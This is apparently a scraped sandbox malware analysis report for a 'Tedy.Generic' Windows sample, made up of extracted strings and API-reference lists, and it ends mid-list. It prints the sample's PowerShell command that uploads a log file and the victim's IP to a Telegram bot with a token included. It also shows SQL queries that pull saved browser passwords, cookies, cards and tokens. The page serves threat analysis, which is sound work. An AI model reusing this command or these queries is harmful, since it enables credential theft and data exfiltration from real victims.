26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T484,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Tedy.Generic Sample 44bf32bdbbd2… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 44bf32bdbbd2…. Malware family: Tedy.Generic. Threat score 100/100. 6/27 AV engines flagged this file. 11 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a","keywords":["Malicious","Tedy.Generic","malware analysis","sandbox report","threat intelligence","44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Tedy.Generic","antivirusDetections":{"malicious":6,"total":27},"behavioralIndicators":{"malicious":11,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Ta79,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp, 00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp, 00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found string "??\C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp, 00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" (Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found string "C:/WINDOWS/System32/WindowsPowerShell/v1.0/en-US/System.Management.Automation.resources/System.Management.Automation.resources.EXE" (Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found string "file:///C:/WINDOWS/System32/WindowsPowerShell/v1.0/en-US/System.Management.Automation.resources/System.Management.Automation.resources.EXE" (Source: "00000000-00002720.00000000.158138.739D0000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" (Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp, 00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00002720.00000001.160058.739D0000.00000004.mdmp, 00000000-00002720.00000002.161977.739D0000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" (Source: "00000000-00002720.00000001.160058.74020000.00000004.mdmp, 00000000-00002720.00000002.161977.74052000.00000004.mdmp")28:T811,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp")29:T6a6,Found string "Start-Sleep -Seconds 180; $ip=(irm https://api.ipify.org).Trim();curl.exe -F chat_id=-1003701740706 -F caption="ip $ip" -F document=@"$env:TEMP\log.txt" https://api.telegram.org/bot8686432422:AAHGOVbzo-HirDgBmpzhc1lwNc2zamwL0rg/sendDocument" (Indicator: "Start-Sleep"; File: "AMSI") file/memory contains long string with (Indicator: "Start-Sleep"; File: "powershell.exe") file/memory contains long string with (Indicator: "Start-Sleep"; Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp, 00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp") Found string "Start-Sleep -Seconds 180; $ip=(irm https://api.ipify.org).Trim();curl.exe -F chat_id=-1003701740706 -F caption="ip $ip" -F document=@"$env:TEMP\log.txt" https://api.telegram.org/bot8686432422:AAHGOVbzo-HirDgBmpzhc1lwNc2zamwL0rg/sendDocument" (Indicator: "Start-Sleep"; Source: "00000000-00002720.00000000.158138.715C0000.00000004.mdmp, 00000000-00002720.00000000.158138.719B0000.00000004.mdmp, 00000000-00002720.00000000.158138.73060000.00000004.mdmp, 00000000-00002720.00000000.158138.739D0000.00000004.mdmp, 00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000001.160058.719B0000.00000004.mdmp, 00000000-00002720.00000001.160058.739D0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.719B0000.00000004.mdmp, 00000000-00002720.00000002.161977.739D0000.00000004.mdmp") file/memory contains long string with (Indicator: "Start-Sleep"; Source: "00000000-00002720.00000001.160058.715C0000.00000004.mdmp, 00000000-00002720.00000002.161977.715C0000.00000004.mdmp")2a:Tc64,Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp")2b:T542,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp")2c:T820,"'sqlite_sequence' AND coalesce(rootpage,1)>0" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "select sql from "%w".sqlite_schema where type='table'and name<>'sqlite_sequence' and coalesce(rootpage,1)>0"), "SELECT sql FROM "%w".sqlite_schema WHERE type='index'" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "select sql from "%w".sqlite_schema where type='index'"), "SELECT'INSERT INTO %s.'||quote(name)||' SELECT*FROM"%w".'||quote(name)FROM %s.sqlite_schema WHERE type='table'AND coalesce(rootpage,1)>0" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "select'insert into %s.'||quote(name)||' select*from"%w".'||quote(name)from %s.sqlite_schema where type='table'and coalesce(rootpage,1)>0"), "INSERT INTO %s.sqlite_schema SELECT*FROM "%w".sqlite_schema WHERE type IN('view','trigger') OR(type='table'AND rootpage=0)" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "insert into %s.sqlite_schema select*from "%w".sqlite_schema where type in('view','trigger') or(type='table'and rootpage=0)"), "CREATE TABLE x" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "create table x"), "DELETE FROM %Q.sqlite_master WHERE name=%Q AND type='index'" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "delete from %q.sqlite_master where name=%q and type='index'"), "SELECT*FROM"%w"" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "select*from"%w""), "INSERT INTO %Q.sqlite_master VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "insert into %q.sqlite_master values('trigger',%q,%q,0,'create trigger %q')"), "CREATE TABLE %Q.%s(%s)" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "create table %q.%s(%s)"), "CREATE TABLE x(key,value,type,atom,id,parent,fullkey,path,json HIDDEN,root HIDDEN)" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "create table x(key,value,type,atom,id,parent,fullkey,path,json hidden,root hidden)"), "SELECT name_on_card expiration_month expiration_year card_number_encrypted nickname date_modified FROM credit_cards;" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "select name_on_card expiration_month expiration_year card_number_encrypted nickname date_modified from credit_cards;"), "SELECT origin_url action_url username_value password_value date_created date_last_used FROM logins;" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "select origin_url action_url username_value password_value date_created date_last_used from logins;"), "SELECT host_key path name expires_utc encrypted_value is_secure FROM cookies;" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "select host_key path name expires_utc encrypted_value is_secure from cookies;"), "SELECT service encrypted_token binding_key FROM token_service;" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "select service encrypted_token binding_key from token_service;"), "SELECT client_name encoded_scopes token expiration_date FROM access_tokens;" (Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin, Indicator: "select client_name encoded_scopes token expiration_date from access_tokens;")44:T52a,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "CreateFile2" (Indicator: "CreateFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "CreateFileMappingFromApp" (Indicator: "CreateFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000000.158138.FC502000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00002720.00000000.158138.C751A000.00000002.mdmp, 00000000-00002720.00000002.161977.D1338000.00000002.mdmp")45:T1165a,Found reference to API (Indicator: "CryptDestroyKey"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RegGetValueW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptAcquireContextA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetTokenInformation"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptImportKey"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptAcquireContextW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptCreateHash"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptGenRandom"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RegQueryValueExA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RegEnumValueA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RegEnumKeyExA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptGetHashParam"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptHashData"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RegQueryValueExW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetCurrentHwProfileA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptSetKeyParam"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptDestroyHash"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptDecrypt"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptReleaseContext"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RegOpenKeyExA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RegCloseKey"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "OpenProcessToken"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetUserNameA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptUnprotectData"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CryptStringToBinaryA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "BitBlt"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DeleteDC"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DeleteObject"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "StretchBlt"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SelectObject"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateCompatibleDC"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "SetStretchBltMode"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetModuleHandleA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "HeapCreate"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetSystemInfo"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetTempFileNameA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFileType"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateTimerQueue"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetFileInformationByHandleEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateRemoteThread"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateFileA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "OutputDebugStringA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "MapViewOfFile"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "AreFileApisANSI"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "VirtualProtectEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "LoadLibraryW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "TerminateProcess"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "DeleteCriticalSection"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FileTimeToLocalFileTime"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "OpenProcess"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FormatMessageW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateEventW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateDirectoryW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateEventA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "InitializeCriticalSection"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateThread"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetUserPreferredUILanguages"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "LoadLibraryExA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetGeoInfoW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetModuleFileNameA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetModuleHandleW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "lstrlenW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "IsWow64Process"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GetCurrentProcessId"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "HeapDestroy"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "CreateFileMappingW"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "VirtualUnlock"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "GlobalMemoryStatusEx"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API (Indicator: "FreeLibrary"; File: 